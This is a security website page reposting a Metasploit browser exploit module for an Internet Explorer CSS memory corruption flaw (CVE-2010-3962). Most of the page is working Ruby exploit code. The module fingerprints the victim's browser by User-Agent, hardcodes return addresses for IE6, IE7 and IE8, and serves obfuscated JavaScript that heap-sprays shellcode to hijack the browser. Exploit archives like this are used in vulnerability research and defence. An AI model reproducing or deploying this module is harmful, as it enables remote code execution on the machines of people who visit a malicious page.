首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Internet Explorer CSS Tags Memory Corruption(meta)
来源:http://www.metasploit.com 作者:jduck 发布时间:2010-11-05  
##
# $Id: ms10_xxx_ie_css_clip.rb 10912 2010-11-05 00:08:55Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({
		:ua_name    => HttpClients::IE,
		:ua_minver  => "6.0",
		:ua_maxver  => "8.0",
		:javascript => true,
		:os_name    => OperatingSystems::WINDOWS,
		:vuln_test  => nil, # no way to test without just trying it
	})

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Internet Explorer CSS Tags Memory Corruption',
			'Description'    => %q{
					Thie module exploits a memory corruption vulenrability within Microsoft's
				HTML engine (mshtml). When parsing an HTML page containing a specially
				crafted CSS tag, memory corruption occurs that can lead arbitrary code
				execution.

				It seems like Microsoft code inadvertantly increments a vtable pointer to
				point to an unaligned address within the vtable's function pointers. This
				leads to the program counter being set to the address determined by the
				address "[vtable+0x30+1]". The particular address depends on the exact
				version of the mshtml library in use.

				Since the address depends on the version of mshtml, some versions may not
				be exploitable. Specifically, those ending up with a program counter value
				within another module, in kernel space, or just not able to be reached with
				various memory spraying techniques.

				Also, since the address is not controllable, it is unlikely to be possible
				to use ROP to bypass non-executable memory protections.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'unknown',        # discovered in the wild
					'@yuange1975',    # PoC posted to twitter
					'Matteo Memelli', # exploit-db version
					'jduck'           # Metasploit module
				],
			'Version'        => '$Revision: 10912 
, 'References' => [ [ 'CVE', '2010-3962' ], #[ 'OSVDB', '' ], [ 'BID', '44536' ], [ 'URL', 'http://www.microsoft.com/technet/security/advisory/2458511.mspx' ], [ 'URL', 'http://www.exploit-db.com/exploits/15421/' ], #[ 'MSB', 'MS11-???' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { } ], # # Special target, we put it first so its index doesn't change. # [ 'Debug', { 'Ret' => 0x00010101, # tiny spray, sure to crash :) } ], # # In the targets below, 'Ret' means where EIP ends up (not under our control) # [ 'Internet Explorer 6', { 'Ret' => 0x307dc9c5, # mshtml.dll 6.0.2900.5848 @ 0x7dc30000 } ], [ 'Internet Explorer 7', { 'Ret' => 0x597e85f9, # mshtml.dll 7.0.5730.13 @ 0x7e830000 } ], [ 'Internet Explorer 8 on Windows 7', { 'Ret' => 0x7a6902d7, # mshtml.dll 8.00.7600.16385 @ 0x68e40000 } ] ], 'DisclosureDate' => 'Nov 3 2010', 'DefaultTarget' => 0)) end def auto_target(cli, request) mytarget = nil agent = request.headers['User-Agent'] #print_status("Checking user agent: #{agent}") if agent =~ /MSIE 6\.0/ mytarget = targets[2] # IE6 on NT, 2000, XP and 2003 elsif agent =~ /MSIE 7\.0/ mytarget = targets[3] # IE7 on XP and 2003 elsif agent =~ /MSIE 8\.0/ and agent =~ /Windows NT 6\.1/ mytarget = targets[4] # IE8 on Windows 7 else print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}") end mytarget end def on_request_uri(cli, request) mytarget = target if target.name == 'Automatic' mytarget = auto_target(cli, request) if (not mytarget) send_not_found(cli) return end end # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...") # Encode the shellcode shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(mytarget.arch)) # Set the return\nops ret = Rex::Text.to_unescape(make_nops(4)) # Construct the javascript js = <<-EOS var memory = new Array(); function sprayHeap(shellcode, heapSprayAddr, heapBlockSize) { var index; var heapSprayAddr_hi = (heapSprayAddr >> 16).toString(16); var heapSprayAddr_lo = (heapSprayAddr & 0xffff).toString(16); while (heapSprayAddr_hi.length < 4) { heapSprayAddr_hi = "0" + heapSprayAddr_hi; } while (heapSprayAddr_lo.length < 4) { heapSprayAddr_lo = "0" + heapSprayAddr_lo; } var retSlide = unescape("#{ret}"); while (retSlide.length < heapBlockSize) { retSlide += retSlide; } retSlide = retSlide.substring(0, heapBlockSize - shellcode.length); var heapBlockCnt = (heapSprayAddr - heapBlockSize)/heapBlockSize; for (index = 0; index < heapBlockCnt; index++) { memory[index] = retSlide + shellcode; } } var shellcode = unescape("#{shellcode}"); sprayHeap(shellcode, #{mytarget.ret}, 0x400000 - (shellcode.length + 0x38)); document.write("<table style=position:absolute;clip:rect(0)>"); EOS opts = { 'Symbols' => { 'Variables' => %w{ shellcode retSlide payLoadSize memory index heapSprayAddr_lo heapSprayAddr_hi heapSprayAddr heapBlockSize heapBlockCnt }, 'Methods' => %w{ sprayHeap } } } js = ::Rex::Exploitation::ObfuscateJS.new(js, opts) # Construct the final page html = <<-EOS <html> <body> <script language='javascript'> #{js} </script> </body> </html> EOS # Transmit the compressed response to the client send_response(cli, html, { 'Content-Type' => 'text/html' }) # Handle the payload handler(cli) end end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Webster HTTP Server GET Buffer
·CA BrightStor ARCserve for Lap
·Network Associates PGP KeyServ
·GSPlayer 1.83a Win32 Release B
·HtaEdit v 3.2.3.0 (.hta) Buffe
·CA BrightStor ARCserve for Lap
·Crystal Report Viewer v8.0.0.3
·Internet Explorer Memory Corru
·Avira Premium Security Suite N
·Avast! Internet Security aswtd
·Minishare 1.5.5 Buffer Overflo
·Internet Explorer 6, 7, 8 Memo
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved